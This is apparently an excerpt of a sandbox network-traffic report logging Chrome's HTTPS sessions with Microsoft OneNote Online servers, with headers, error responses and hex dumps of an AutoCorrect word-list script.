https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
2024-07-16 11:07:11 UTC	16384	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 45 64 69 74 22 2c 22 64 22 3a 22 45 44 49 54 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 37 39 30 33 2e 34 31 30 31 32 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 37 39 30 33 2e 34 31 30 31 32 22 2c 22 6b 22 3a 22 47 45 55 33 22 2c 22 6c 22 3a 22 64 65 2d 44 45 22 2c 22 6d 22 3a 22 5c 22 37 63 71 6c 36 45 30 67 4d 5a 6e 46 62 73 67 4d 6e 65 62 38 77 70 76 78 6b 32 6b 62 73 73 34 46 6c 52 39 44 71 74 37 39 6d 39 73 3d 5c 22 22 2c 22 6e 22 3a 22 53 68 61 72 65 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 22 2c 22 6f 22 3a Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"Edit","d":"EDIT","e":"16.0.17903.41012","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.17903.41012","k":"GEU3","l":"de-DE","m":"\"7cql6E0gMZnFbsgMneb8wpvxk2kbss4FlR9Dqt79m9s=\"","n":"SharePoint Online","o":
2024-07-16 11:07:11 UTC	8135	OUT	Data Raw: 2e 31 30 30 30 30 30 30 30 30 30 30 36 2c 5c 22 77 6f 72 6b 65 72 73 74 61 72 74 5c 22 3a 30 2c 5c 22 72 65 64 69 72 65 63 74 73 74 61 72 74 5c 22 3a 30 2c 5c 22 72 65 64 69 72 65 63 74 65 6e 64 5c 22 3a 30 2c 5c 22 66 65 74 63 68 73 74 61 72 74 5c 22 3a 39 34 37 35 2e 31 30 30 30 30 30 30 30 30 30 30 36 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 73 74 61 72 74 5c 22 3a 31 30 32 30 31 2c 5c 22 64 6f 6d 61 69 6e 6c 6f 6f 6b 75 70 65 6e 64 5c 22 3a 31 30 32 30 31 2c 5c 22 63 6f 6e 6e 65 63 74 73 74 61 72 74 5c 22 3a 31 30 32 30 31 2c 5c 22 73 65 63 75 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 73 74 61 72 74 5c 22 3a 31 30 32 30 32 2e 37 30 30 30 30 30 30 30 30 30 31 32 2c 5c 22 63 6f 6e 6e 65 63 74 65 6e 64 5c 22 3a 31 30 39 34 38 2e 35 2c 5c 22 72 65 71 75 65 Data Ascii: .100000000006,\"workerstart\":0,\"redirectstart\":0,\"redirectend\":0,\"fetchstart\":9475.100000000006,\"domainlookupstart\":10201,\"domainlookupend\":10201,\"connectstart\":10201,\"secureconnectionstart\":10202.700000000012,\"connectend\":10948.5,\"reque
2024-07-16 11:07:11 UTC	1046	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: ed499e3a-ee2a-40da-b3e3-ffdbc5a57bd4 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017830 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017830 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EF6D2560FD95496B9243FC42672C0212 Ref B: EWR311000108037 Ref C: 2024-07-16T11:07:11Z Date: Tue, 16 Jul 2024 11:07:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49893	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:12 UTC	443	OUT	GET /afhs/CloudPolicySettings.ashx HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
2024-07-16 11:07:12 UTC	1257	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 1208 Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c;Path=/;Domain=euc-onenote.officeapps.live.com; samesite=none; secure; partitioned X-CorrelationId: 02e48886-d6f5-4369-9172-b47b33f0a3d3 X-UserSessionId: 02e48886-d6f5-4369-9172-b47b33f0a3d3 Strict-Transport-Security: max-age=31536000 X-OfficeFE: DU2PEPF00017906 X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Content-Type-Options: nosniff X-OFFICEFD: DU2PEPF000195BF X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: DBBEF96854C144B890C896AAF841A048 Ref B: BL2AA2010205037 Ref C: 2024-07-16T11:07:12Z Date: Tue, 16 Jul 2024 11:07:11 GMT Connection: close
2024-07-16 11:07:12 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49897	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:12 UTC	1546	OUT	GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996
2024-07-16 11:07:12 UTC	1019	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 19181 Content-Type: application/javascript Last-Modified: Mon, 03 Jun 2024 14:44:40 GMT Accept-Ranges: bytes ETag: "50218f90c4b5da1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: db4f7997-96d6-4843-882a-00a8c5da477c X-UserSessionId: db4f7997-96d6-4843-882a-00a8c5da477c Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF0001183A X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-OFFICEFD: DB5PEPF0001183A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 519F2F746069432A8F6647C46EE9BEDC Ref B: EWR311000104023 Ref C: 2024-07-16T11:07:12Z Date: Tue, 16 Jul 2024 11:07:12 GMT Connection: close
2024-07-16 11:07:12 UTC	899	IN	Data Raw: ef bb bf 76 61 72 20 41 75 74 6f 43 6f 72 72 65 63 74 4c 69 73 74 3d 7b 22 28 63 29 22 3a 22 c2 a9 22 2c 22 28 72 29 22 3a 22 c2 ae 22 2c 22 28 74 6d 29 22 3a 22 e2 84 a2 22 2c 22 2e 2e 2e 22 3a 22 e2 80 a6 22 2c 22 61 62 62 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 74 75 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 75 74 61 22 3a 22 61 62 6f 75 74 20 61 22 2c 22 61 62 6f 75 74 69 74 22 3a 22 61 62 6f 75 74 20 69 74 22 2c 22 61 62 6f 75 74 74 68 65 22 3a 22 61 62 6f 75 74 20 74 68 65 22 2c 22 61 62 73 63 65 6e 63 65 22 3a 22 61 62 73 65 6e 63 65 22 2c 22 61 63 63 65 73 6f 72 69 65 73 22 3a 22 61 63 63 65 73 73 6f 72 69 65 73 22 2c 22 61 63 63 69 64 61 6e 74 22 3a 22 61 63 63 69 64 65 6e 74 22 2c 22 61 63 63 6f 6d 6f 64 61 74 65 22 3a 22 61 63 63 6f Data Ascii: var AutoCorrectList={"(c)":"","(r)":"","(tm)":"","...":"","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"acco
2024-07-16 11:07:12 UTC	8192	IN	Data Raw: 73 22 2c 22 61 6c 6c 77 79 61 73 22 3a 22 61 6c 77 61 79 73 22 2c 22 61 6c 6d 6f 74 73 22 3a 22 61 6c 6d 6f 73 74 22 2c 22 61 6c 6d 73 6f 74 22 3a 22 61 6c 6d 6f 73 74 22 2c 22 61 6c 6f 6d 73 74 22 3a 22 61 6c 6d 6f 73 74 22 2c 22 61 6c 6f 74 22 3a 22 61 20 6c 6f 74 22 2c 22 61 6c 72 61 65 64 79 22 3a 22 61 6c 72 65 61 64 79 22 2c 22 61 6c 72 65 61 79 64 22 3a 22 61 6c 72 65 61 64 79 22 2c 22 61 6c 72 65 64 61 79 22 3a 22 61 6c 72 65 61 64 79 22 2c 22 61 6c 77 61 73 79 22 3a 22 61 6c 77 61 79 73 22 2c 22 61 6c 77 61 74 73 22 3a 22 61 6c 77 61 79 73 22 2c 22 61 6c 77 61 79 22 3a 22 61 6c 77 61 79 73 22 2c 22 61 6c 77 79 61 73 22 3a 22 61 6c 77 61 79 73 22 2c 22 61 6d 64 65 22 3a 22 6d 61 64 65 22 2c 22 61 6d 65 72 69 61 22 3a 22 41 6d 65 72 69 63 61 22 2c Data Ascii: s","allwyas":"always","almots":"almost","almsot":"almost","alomst":"almost","alot":"a lot","alraedy":"already","alreayd":"already","alreday":"already","alwasy":"always","alwats":"always","alway":"always","alwyas":"always","amde":"made","ameria":"America",
2024-07-16 11:07:12 UTC	6558	IN	Data Raw: 65 22 2c 22 69 6d 65 64 69 61 74 65 22 3a 22 69 6d 6d 65 64 69 61 74 65 22 2c 22 69 6d 65 64 69 61 74 6c 79 22 3a 22 69 6d 6d 65 64 69 61 74 65 6c 79 22 2c 22 69 6d 6d 65 64 69 61 74 6c 79 22 3a 22 69 6d 6d 65 64 69 61 74 65 6c 79 22 2c 22 69 6d 70 6f 72 74 65 6e 74 22 3a 22 69 6d 70 6f 72 74 61 6e 74 22 2c 22 69 6d 70 6f 72 74 6e 61 74 22 3a 22 69 6d 70 6f 72 74 61 6e 74 22 2c 22 69 6d 70 6f 73 73 61 62 6c 65 22 3a 22 69 6d 70 6f 73 73 69 62 6c 65 22 2c 22 69 6d 70 72 6f 76 65 6d 6e 74 22 3a 22 69 6d 70 72 6f 76 65 6d 65 6e 74 22 2c 22 69 6d 70 72 6f 76 6d 65 6e 74 22 3a 22 69 6d 70 72 6f 76 65 6d 65 6e 74 22 2c 22 69 6e 63 6c 75 64 22 3a 22 69 6e 63 6c 75 64 65 22 2c 22 69 6e 64 65 63 61 74 65 22 3a 22 69 6e 64 69 63 61 74 65 22 2c 22 69 6e 64 65 6e 70 Data Ascii: e","imediate":"immediate","imediatly":"immediately","immediatly":"immediately","importent":"important","importnat":"important","impossable":"impossible","improvemnt":"improvement","improvment":"improvement","includ":"include","indecate":"indicate","indenp
2024-07-16 11:07:12 UTC	3532	IN	Data Raw: 22 73 75 63 63 65 73 73 66 75 6c 22 2c 22 73 75 66 66 69 63 69 61 6e 74 22 3a 22 73 75 66 66 69 63 69 65 6e 74 22 2c 22 73 75 70 6f 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 70 6f 73 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 72 69 73 65 22 3a 22 73 75 72 70 72 69 73 65 22 2c 22 73 75 70 72 69 73 65 64 22 3a 22 73 75 72 70 72 69 73 65 64 22 2c 22 73 77 69 6d 69 6e 67 22 3a 22 73 77 69 6d 6d 69 6e 67 22 2c 22 74 61 68 6e 22 3a 22 74 68 61 6e 22 2c 22 74 61 68 74 22 3a 22 74 68 61 74 22 2c 22 74 61 6c 65 6b 64 22 3a 22 74 61 6c 6b 65 64 22 2c 22 74 61 6c 6b 69 67 6e 22 3a 22 74 61 6c 6b 69 6e 67 22 2c 22 74 61 74 68 22 3a 22 74 68 61 74 22 2c 22 74 65 63 6e 69 63 61 6c 22 3a 22 74 65 63 68 6e 69 63 61 6c 22 2c 22 74 65 68 Data Ascii: "successful","sufficiant":"sufficient","suposed":"supposed","suppossed":"supposed","suprise":"surprise","suprised":"surprised","swiming":"swimming","tahn":"than","taht":"that","talekd":"talked","talkign":"talking","tath":"that","tecnical":"technical","teh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49902	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:13 UTC	600	OUT	GET /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
2024-07-16 11:07:13 UTC	1019	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: a0ef47a3-afe9-4d35-a94f-88c3fdd79045 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782D X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001782D X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 83575A1EB5F945DF97A806896806DE75 Ref B: BL2AA2030102005 Ref C: 2024-07-16T11:07:13Z Date: Tue, 16 Jul 2024 11:07:13 GMT Connection: close
2024-07-16 11:07:13 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-07-16 11:07:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49907	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:13 UTC	525	OUT	GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
2024-07-16 11:07:13 UTC	1035	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 19181 Content-Type: application/javascript Last-Modified: Fri, 07 Jun 2024 05:52:16 GMT Accept-Ranges: bytes ETag: "2dde10da9eb8da1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 77fea434-e9cf-4c57-89b6-83cd049cea4c X-UserSessionId: 77fea434-e9cf-4c57-89b6-83cd049cea4c Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001782F X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-OFFICEFD: DU2PEPF0001782F X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EDFF844568374D45A6BE302FF350F7D0 Ref B: BL2AA2030104023 Ref C: 2024-07-16T11:07:13Z Date: Tue, 16 Jul 2024 11:07:13 GMT Connection: close
2024-07-16 11:07:13 UTC	3313	IN	Data Raw: ef bb bf 76 61 72 20 41 75 74 6f 43 6f 72 72 65 63 74 4c 69 73 74 3d 7b 22 28 63 29 22 3a 22 c2 a9 22 2c 22 28 72 29 22 3a 22 c2 ae 22 2c 22 28 74 6d 29 22 3a 22 e2 84 a2 22 2c 22 2e 2e 2e 22 3a 22 e2 80 a6 22 2c 22 61 62 62 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 74 75 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 75 74 61 22 3a 22 61 62 6f 75 74 20 61 22 2c 22 61 62 6f 75 74 69 74 22 3a 22 61 62 6f 75 74 20 69 74 22 2c 22 61 62 6f 75 74 74 68 65 22 3a 22 61 62 6f 75 74 20 74 68 65 22 2c 22 61 62 73 63 65 6e 63 65 22 3a 22 61 62 73 65 6e 63 65 22 2c 22 61 63 63 65 73 6f 72 69 65 73 22 3a 22 61 63 63 65 73 73 6f 72 69 65 73 22 2c 22 61 63 63 69 64 61 6e 74 22 3a 22 61 63 63 69 64 65 6e 74 22 2c 22 61 63 63 6f 6d 6f 64 61 74 65 22 3a 22 61 63 63 6f Data Ascii: var AutoCorrectList={"(c)":"","(r)":"","(tm)":"","...":"","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"acco
2024-07-16 11:07:13 UTC	8192	IN	Data Raw: 2c 22 63 68 65 69 66 22 3a 22 63 68 69 65 66 22 2c 22 63 68 65 6b 63 22 3a 22 63 68 65 63 6b 22 2c 22 63 68 6e 61 67 65 22 3a 22 63 68 61 6e 67 65 22 2c 22 63 69 65 6c 69 6e 67 22 3a 22 63 65 69 6c 69 6e 67 22 2c 22 63 69 72 63 75 74 22 3a 22 63 69 72 63 75 69 74 22 2c 22 63 6c 61 65 72 22 3a 22 63 6c 65 61 72 22 2c 22 63 6c 61 65 72 65 64 22 3a 22 63 6c 65 61 72 65 64 22 2c 22 63 6c 61 65 72 6c 79 22 3a 22 63 6c 65 61 72 6c 79 22 2c 22 63 6c 69 61 6e 74 22 3a 22 63 6c 69 65 6e 74 22 2c 22 63 6c 69 63 68 65 22 3a 22 63 6c 69 63 68 c3 a9 22 2c 22 63 6e 61 22 3a 22 63 61 6e 22 2c 22 63 6f 6c 65 63 74 69 6f 6e 22 3a 22 63 6f 6c 6c 65 63 74 69 6f 6e 22 2c 22 63 6f 6d 61 6e 69 65 73 22 3a 22 63 6f 6d 70 61 6e 69 65 73 22 2c 22 63 6f 6d 61 6e 79 22 3a 22 63 6f Data Ascii: ,"cheif":"chief","chekc":"check","chnage":"change","cieling":"ceiling","circut":"circuit","claer":"clear","claered":"cleared","claerly":"clearly","cliant":"client","cliche":"clich","cna":"can","colection":"collection","comanies":"companies","comany":"co
2024-07-16 11:07:13 UTC	4144	IN	Data Raw: 6f 77 22 2c 22 6e 6f 74 68 69 67 6e 22 3a 22 6e 6f 74 68 69 6e 67 22 2c 22 6e 76 65 72 22 3a 22 6e 65 76 65 72 22 2c 22 6e 77 65 22 3a 22 6e 65 77 22 2c 22 6e 77 6f 22 3a 22 6e 6f 77 22 2c 22 6f 62 65 64 69 61 6e 74 22 3a 22 6f 62 65 64 69 65 6e 74 22 2c 22 6f 63 61 73 69 6f 6e 22 3a 22 6f 63 63 61 73 69 6f 6e 22 2c 22 6f 63 63 61 73 73 69 6f 6e 22 3a 22 6f 63 63 61 73 69 6f 6e 22 2c 22 6f 63 63 75 72 65 64 22 3a 22 6f 63 63 75 72 72 65 64 22 2c 22 6f 63 63 75 72 65 6e 63 65 22 3a 22 6f 63 63 75 72 72 65 6e 63 65 22 2c 22 6f 63 63 75 72 72 61 6e 63 65 22 3a 22 6f 63 63 75 72 72 65 6e 63 65 22 2c 22 6f 63 75 72 22 3a 22 6f 63 63 75 72 22 2c 22 6f 65 70 72 61 74 6f 72 22 3a 22 6f 70 65 72 61 74 6f 72 22 2c 22 6f 66 69 74 73 22 3a 22 6f 66 20 69 74 73 22 2c Data Ascii: ow","nothign":"nothing","nver":"never","nwe":"new","nwo":"now","obediant":"obedient","ocasion":"occasion","occassion":"occasion","occured":"occurred","occurence":"occurrence","occurrance":"occurrence","ocur":"occur","oeprator":"operator","ofits":"of its",
2024-07-16 11:07:13 UTC	3532	IN	Data Raw: 22 73 75 63 63 65 73 73 66 75 6c 22 2c 22 73 75 66 66 69 63 69 61 6e 74 22 3a 22 73 75 66 66 69 63 69 65 6e 74 22 2c 22 73 75 70 6f 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 70 6f 73 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 72 69 73 65 22 3a 22 73 75 72 70 72 69 73 65 22 2c 22 73 75 70 72 69 73 65 64 22 3a 22 73 75 72 70 72 69 73 65 64 22 2c 22 73 77 69 6d 69 6e 67 22 3a 22 73 77 69 6d 6d 69 6e 67 22 2c 22 74 61 68 6e 22 3a 22 74 68 61 6e 22 2c 22 74 61 68 74 22 3a 22 74 68 61 74 22 2c 22 74 61 6c 65 6b 64 22 3a 22 74 61 6c 6b 65 64 22 2c 22 74 61 6c 6b 69 67 6e 22 3a 22 74 61 6c 6b 69 6e 67 22 2c 22 74 61 74 68 22 3a 22 74 68 61 74 22 2c 22 74 65 63 6e 69 63 61 6c 22 3a 22 74 65 63 68 6e 69 63 61 6c 22 2c 22 74 65 68 Data Ascii: "successful","sufficiant":"sufficient","suposed":"supposed","suppossed":"supposed","suprise":"surprise","suprised":"surprised","swiming":"swimming","tahn":"than","taht":"that","talekd":"talked","talkign":"talking","tath":"that","tecnical":"technical","teh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49935	13.107.246.60	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
